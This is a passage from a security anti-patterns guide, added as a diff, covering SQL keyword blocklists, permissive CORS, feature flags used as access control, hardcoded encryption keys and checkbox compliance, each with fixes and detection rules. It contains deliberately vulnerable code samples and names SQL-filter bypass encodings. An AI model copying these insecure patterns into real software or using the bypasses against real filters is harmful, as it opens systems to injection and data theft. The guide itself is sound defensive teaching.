+ ### AP-16: Blocking Specific SQL Keywords as Injection Prevention
581
+
582
+ **Also known as:** SQL Blacklist, Keyword Grep Defense, String-Match Security
583
+ **Frequency:** Common
584
+ **Severity:** Critical
585
+ **Detection difficulty:** Moderate
586
+
587
+ **What it looks like:**
588
+
589
+ ```python
590
+ BLOCKED_KEYWORDS = ['SELECT', 'DROP', 'DELETE', 'INSERT', 'UPDATE', 'UNION', '--', ';']
591
+
592
+ def sanitize_input(user_input):
593
+ for keyword in BLOCKED_KEYWORDS:
594
+ if keyword.lower() in user_input.lower():
595
+ raise ValueError("Potential SQL injection detected")
596
+ return user_input
597
+
598
+ # Then used with string concatenation anyway
599
+ query = f"SELECT * FROM users WHERE name = '{sanitize_input(name)}'"
600
+ ```
601
+
602
+ **Why developers do it:**
603
+
604
+ Keyword blocking is intuitive and quick to implement. It catches obvious payloads in testing. Developers who are unfamiliar with parameterized queries see it as a pragmatic shortcut.
605
+
606
+ **What goes wrong:**
607
+
608
+ PortSwigger documents dozens of bypass techniques: SQL comments (`un/**/ion sel/**/ect`), mixed case (`SeLeCt`), URL encoding (`%53%45%4C%45%43%54`), double-URL encoding, and Unicode alternatives. A real-world bypass involved adding 19+ spaces between parameters and payloads — SQL engines treat multiple spaces as one, but the filter failed to match separated keywords. OWASP confirms that blacklist filtering always risks missing parameters that allow injection. The fundamental issue: you cannot enumerate all possible representations of SQL syntax.
609
+
610
+ **The fix:**
611
+
612
+ Use parameterized queries (prepared statements) exclusively. Never construct SQL through string concatenation. Use an ORM where possible. If manual queries are necessary, use the database driver's parameterization API. Whitelist acceptable input characters and formats rather than blacklisting dangerous ones.
613
+
614
+ **Detection rule:**
615
+
616
+ Search for arrays or lists of SQL keywords used in input validation functions. Any function that strips or rejects SQL keywords from user input while the application also uses string-concatenated queries is a critical finding.
617
+
618
+ ---
619
+
620
+ ### AP-17: CORS Misconfiguration Giving False Security
621
+
622
+ **Also known as:** Wildcard-Origin, Reflected-Origin CORS, Access-Control-Allow-Everywhere
623
+ **Frequency:** Common
624
+ **Severity:** High
625
+ **Detection difficulty:** Moderate
626
+
627
+ **What it looks like:**
628
+
629
+ ```javascript
630
+ // Express.js - reflecting the origin header without validation
631
+ app.use((req, res, next) => {
632
+ res.setHeader('Access-Control-Allow-Origin', req.headers.origin); // Reflects any origin
633
+ res.setHeader('Access-Control-Allow-Credentials', 'true');
634
+ next();
635
+ });
636
+ ```
637
+
638
+ Or using `Access-Control-Allow-Origin: *` with `Access-Control-Allow-Credentials: true` (browsers block this combination, but developers misconfigure it in other ways that achieve the same effect).
639
+
640
+ **Why developers do it:**
641
+
642
+ CORS errors are frustrating during development. Developers set permissive policies to "make it work" and never tighten them. Copy-pasted Stack Overflow answers recommend the wildcard approach. Frontend and backend teams work independently and CORS becomes a coordination tax.
643
+
644
+ **What goes wrong:**
645
+
646
+ PortSwigger researchers demonstrated exploiting permissive CORS configurations to steal Bitcoin wallet data. An attacker hosts JavaScript on their domain; when a victim visits it, the script makes credentialed requests to the vulnerable API, and the browser allows the response to be read due to the permissive CORS policy. The consequences include data breaches, account takeovers through stolen authentication tokens, and unauthorized transactions in financial applications. Even a single XSS-vulnerable subdomain of a whitelisted domain can enable CORS exploitation.
647
+
648
+ **The fix:**
649
+
650
+ Maintain a strict allowlist of trusted origins. Never reflect the Origin header without validation. Never combine `Access-Control-Allow-Credentials: true` with dynamic or wildcard origins. Validate origins against an explicit list, not a regex that can be tricked (e.g., `evil-example.com` matching a regex for `example.com`).
651
+
652
+ **Detection rule:**
653
+
654
+ Search for `Access-Control-Allow-Origin` set to `*` or set dynamically from `req.headers.origin` without validation. Flag any CORS middleware that does not maintain an explicit allowlist.
655
+
656
+ ---
657
+
658
+ ### AP-18: Feature Flags as Access Control
659
+
660
+ **Also known as:** Flag-Gated Security, Client-Side Feature Toggle Auth, If-Flag-Then-Admin
661
+ **Frequency:** Occasional
662
+ **Severity:** High
663
+ **Detection difficulty:** Hard
664
+
665
+ **What it looks like:**
666
+
667
+ ```javascript
668
+ // Client-side feature flag check
669
+ if (featureFlags.adminDashboard) {
670
+ showAdminPanel(); // The API endpoints behind this panel have no auth checks
671
+ }
672
+
673
+ // Or server-side, but without proper authorization
674
+ if (getFeatureFlag('premium-export')) {
675
+ return generateExport(userId); // No check that userId has a premium subscription
676
+ }
677
+ ```
678
+
679
+ **Why developers do it:**
680
+
681
+ Feature flags are used for gradual rollouts and A/B testing. When a feature is "hidden" behind a flag, it feels controlled. Teams conflate "not rolled out yet" with "access-controlled." The flag becomes a de facto authorization gate.
682
+
683
+ **What goes wrong:**
684
+
685
+ Client-side feature flags are trivially modifiable — users can edit browser code to force any flag to `true`. LaunchDarkly warns that client-side flags are inherently insecure and must never replace server-side authorization. Stale flags left in code after full rollout can be re-enabled by attackers to reactivate deprecated logic containing unpatched vulnerabilities. Feature flags may bypass standard testing protocols, deploying untested features that increase the attack surface.
686
+
687
+ **The fix:**
688
+
689
+ Feature flags control rollout visibility only. Every API endpoint must independently verify authorization through server-side middleware. Remove stale flags promptly. Never put sensitive data in flag payloads sent to the browser.
690
+
691
+ **Detection rule:**
692
+
693
+ Search for feature flag checks (`featureFlag`, `isEnabled`, `getFlag`) that are not accompanied by corresponding authorization middleware on the associated API endpoints. Flag any feature-flag-gated endpoint that lacks an `authorize` or `requireRole` call.
694
+
695
+ ---
696
+
697
+ ### AP-19: Encrypting with Hardcoded Keys
698
+
699
+ **Also known as:** Baked-In Crypto, Compiled Key, Repo-Embedded Secret
700
+ **Frequency:** Very Common
701
+ **Severity:** Critical
702
+ **Detection difficulty:** Moderate
703
+
704
+ **What it looks like:**
705
+
706
+ ```java
707
+ private static final String ENCRYPTION_KEY = "MyS3cretK3y!2024";
708
+ private static final String IV = "1234567890123456";
709
+
710
+ public String encrypt(String data) {
711
+ Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
712
+ SecretKeySpec keySpec = new SecretKeySpec(ENCRYPTION_KEY.getBytes(), "AES");
713
+ IvParameterSpec ivSpec = new IvParameterSpec(IV.getBytes());
714
+ cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);
715
+ return Base64.getEncoder().encodeToString(cipher.doFinal(data.getBytes()));
716
+ }
717
+ ```
718
+
719
+ **Why developers do it:**
720
+
721
+ Key management is complex. Environment variables, secret vaults, and key rotation require infrastructure. Hardcoding "just works" in development and passes basic functional tests. Developers intend to fix it later but never do.
722
+
723
+ **What goes wrong:**
724
+
725
+ GitGuardian's 2025 report found 23.8 million secrets exposed on GitHub in 2024 — a 25% increase year-over-year. 70% of secrets leaked in 2022 were still valid in 2025, giving attackers years-long exploitation windows. The U.S. Treasury Department was breached in 2024 when attackers exploited a single hardcoded API key for an authentication platform, bypassing all security controls. The Rabbit R1 AI device breach exposed 130,000 devices through hardcoded API keys extracted from firmware. 83% of organizations have experienced at least one security incident caused by hardcoded secrets.
726
+
727
+ **The fix:**
728
+
729
+ Use a secrets manager (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault). Load keys from environment variables at runtime. Implement key rotation policies. Use pre-commit hooks (gitleaks, trufflehog) to prevent secrets from entering version control. Rotate any key that has ever been committed to a repository.
730
+
731
+ **Detection rule:**
732
+
733
+ Run gitleaks, trufflehog, or GitGuardian on the repository. Search for string literals assigned to variables named `key`, `secret`, `password`, `apiKey`, `encryption_key`, or `IV` in application code.
734
+
735
+ ---
736
+
737
+ ### AP-20: Security Compliance Checkboxes Without Implementation
738
+
739
+ **Also known as:** Paper Security, Audit-Day Theater, Policy-PDF Defense, Checkbox Security
740
+ **Frequency:** Very Common
741
+ **Severity:** Critical
742
+ **Detection difficulty:** Very Hard
743
+
744
+ **What it looks like:**
745
+
746
+ ```
747
+ Compliance Audit Questionnaire:
748
+ [x] Do you encrypt data at rest? → "Yes" (data is base64-encoded, not encrypted)
749
+ [x] Do you perform regular penetration testing? → "Yes" (last test: 2 years ago)
750
+ [x] Do you have an incident response plan? → "Yes" (untested 40-page PDF)
751
+ [x] Are all systems patched? → "Yes" (50% of critical patches applied within 55 days)
752
+ ```
753
+
754
+ **Why developers do it:**
755
+
756
+ Compliance certifications (SOC 2, PCI-DSS, HIPAA, ISO 27001) are business requirements. The audit process rewards documentation over implementation. Teams under deadline pressure write "aspirational" answers — describing what they intend to do rather than what they actually do. The penalty for failing an audit feels more immediate than the risk of a breach.
757
+
758
+ **What goes wrong:**
759
+
760
+ 82% of companies that achieved compliance with major regulations still experienced data breaches within the following year. Organizations take an average of 55 days to remediate 50% of critical vulnerabilities after patches become available, while mass exploitation begins within five days. A former Disney employee tampered with allergen information because basic offboarding procedures were not actually implemented despite being documented. 60% of data breach incidents originate from employee mistakes, highlighting the gap between written security policies and actual employee behavior.
761
+
762
+ **The fix:**
763
+
764
+ Treat compliance as a floor, not a ceiling. Implement continuous control validation (not annual snapshots). Use automated compliance monitoring tools that verify controls are active, not just documented. Conduct regular tabletop exercises for incident response. Red-team test actual controls, not policy documents.
765
+
766
+ **Detection rule:**
767
+
768
+ Compare compliance documentation against actual system configuration. Verify that documented encryption uses real cryptographic algorithms, that penetration tests have recent reports, that patching SLAs are met, and that incident response plans have been exercised within the last 12 months.
769
+
770
+ ---
771
+
772
+ ## Root Cause Analysis
773
+
774
+ | Root Cause | Anti-Patterns | Frequency |
775
+ |---|---|---|
776
+ | Confusing encoding/obfuscation with encryption | AP-02, AP-08, AP-19 | Very Common |
777
+ | Trusting the client as a security boundary | AP-01, AP-05, AP-09, AP-10, AP-12, AP-18 | Very Common |
778
+ | Path of least resistance during development | AP-03, AP-06, AP-11, AP-17, AP-19 | Very Common |
779
+ | Misunderstanding cryptographic primitives | AP-02, AP-13, AP-14 | Common |
780
+ | Single-layer defense mentality | AP-04, AP-06, AP-07, AP-16 | Common |
781
+ | Compliance-driven (not threat-driven) security | AP-15, AP-20 | Common |
782
+ | Legacy patterns carried forward uncritically | AP-14, AP-15 | Common |
783
+ | Treating visibility as security | AP-03, AP-08, AP-11, AP-12 | Common |
784
+ | Vendor marketing accepted without validation | AP-04, AP-07, AP-20 | Common |
785
+ | Development shortcuts that reach production | AP-11, AP-17, AP-19 | Very Common |
786
+
787
+ ---
788
+
789
+ ## Self-Check Questions
790
+
791
+ 1. **Does every API endpoint validate and authorize independently of the frontend?** If removing the frontend entirely (using curl or Postman) bypasses any security check, you have AP-01, AP-09, or AP-10.
792
+
793
+ 2. **Can I decode any "encrypted" value without a key?** If yes, you are using encoding (base64, hex, URL-encoding), not encryption. See AP-02.
794
+
795
+ 3. **If our source code were published tomorrow, would our security model still hold?** If not, you depend on obscurity. See AP-03, AP-08, AP-11.
796
+
797
+ 4. **What happens if an attacker achieves XSS on our domain?** If they can steal authentication tokens from localStorage, see AP-05. If they can read CORS-protected data, see AP-17.
798
+
799
+ 5. **Beyond HTTPS, what protects our users from injection, CSRF, and session hijacking?** If HTTPS is the only answer, see AP-06.
800
+
801
+ 6. **If we removed our WAF, would our application still be secure against SQL injection?** If not, see AP-07 and AP-16.
802
+
803
+ 7. **Are any secrets (API keys, encryption keys, passwords) present in client-side code or version control?** If yes, see AP-08 and AP-19. Run gitleaks to verify.
804
+
805
+ 8. **Do our admin endpoints require authentication independent of URL obscurity?** Test by accessing them from an unauthenticated session. See AP-11.
806
+
807
+ 9. **Are our rate limits enforced server-side, and are they resistant to IP rotation and header manipulation?** See AP-10.
808
+
809
+ 10. **Do we use a password-hashing algorithm with a configurable work factor (bcrypt, scrypt, Argon2id)?** If using MD5, SHA-1, or even unsalted SHA-256, see AP-14.
810
+
811
+ 11. **Does our release pipeline sign artifacts, or only publish checksums?** If only checksums, see AP-13.
812
+
813
+ 12. **Do our feature flags control visibility only, or do they also serve as authorization gates?** See AP-18.
814
+
815
+ 13. **When was our last actual penetration test, and were the findings remediated?** If the answer is "I don't know" or "over a year ago," see AP-20.
816
+
817
+ 14. **Can our compliance controls be verified programmatically, or do they exist only in policy documents?** See AP-20.
818
+
819
+ ---
820
+
821
+ ## Code Smell Quick Reference
822
+
823
+ | Code Smell | Files to Check | Anti-Pattern |
824
+ |---|---|---|
825
+ | `base64.b64encode` near `password`/`secret`/`key` | Auth modules, config loaders | AP-02 |
826
+ | `localStorage.setItem` with token/JWT values | Auth service, login handlers | AP-05 |
827
+ | `type="hidden"` with `user_id`/`role`/`price` | HTML templates, form components | AP-09 |
828
+ | `hashlib.md5` / `MD5.Create()` near password logic | Auth modules, user models | AP-14 |
829
+ | String concatenation in SQL (`f"SELECT...{var}"`) | Database access layers, repositories | AP-07, AP-16 |
830
+ | `Access-Control-Allow-Origin: *` or reflected origin | CORS middleware, API config | AP-17 |
831
+ | `ENCRYPTION_KEY = "..."` as string literal in source | Crypto utilities, config files | AP-19 |
832
+ | `featureFlag.isEnabled` without adjacent `authorize()` | Route handlers, controllers | AP-18 |
833
+ | `oncontextmenu` / `preventDefault` for Ctrl+U | Layout components, base templates | AP-12 |
834
+ | SQL keyword arrays used in input validation | Input sanitizers, middleware | AP-16 |
835
+ | CAPTCHA widget with no server-side rate limit | Login/registration handlers | AP-04 |
836
+ | Checksum files (`.sha256`) without signature files (`.sig`) | Release pipelines, CI/CD config | AP-13 |
837
+ | `security_question` / `maiden_name` DB columns | User models, account recovery | AP-15 |
838
+ | Routes matching `/admin|dashboard|internal` without auth middleware | Router config, route definitions | AP-11 |
839
+ | Rate limit logic using `setTimeout`/`Date.now()` only in frontend | Client-side API wrappers | AP-10 |
840
+
841
+ ---
842
+
843
+ *Researched: 2026-03-08 | Sources: OWASP Top 10, OWASP API Security Top 10, PortSwigger Web Security Academy, Claroty Team82 WAF Research, GitGuardian State of Secrets Sprawl 2025, CWE-321 (Hardcoded Keys), CWE-798 (Hardcoded Credentials), Krebs on Security (LinkedIn breach), CVE-2024-3596 (Blast-RADIUS), Barracuda Networks (View-Source analysis), Group-IB Security Theater Research, NIST Supply Chain Guidelines, Bruce Schneier (Security Theater concept), DataDome CAPTCHA Farm Research, Deepstrike Client-Side Validation Research*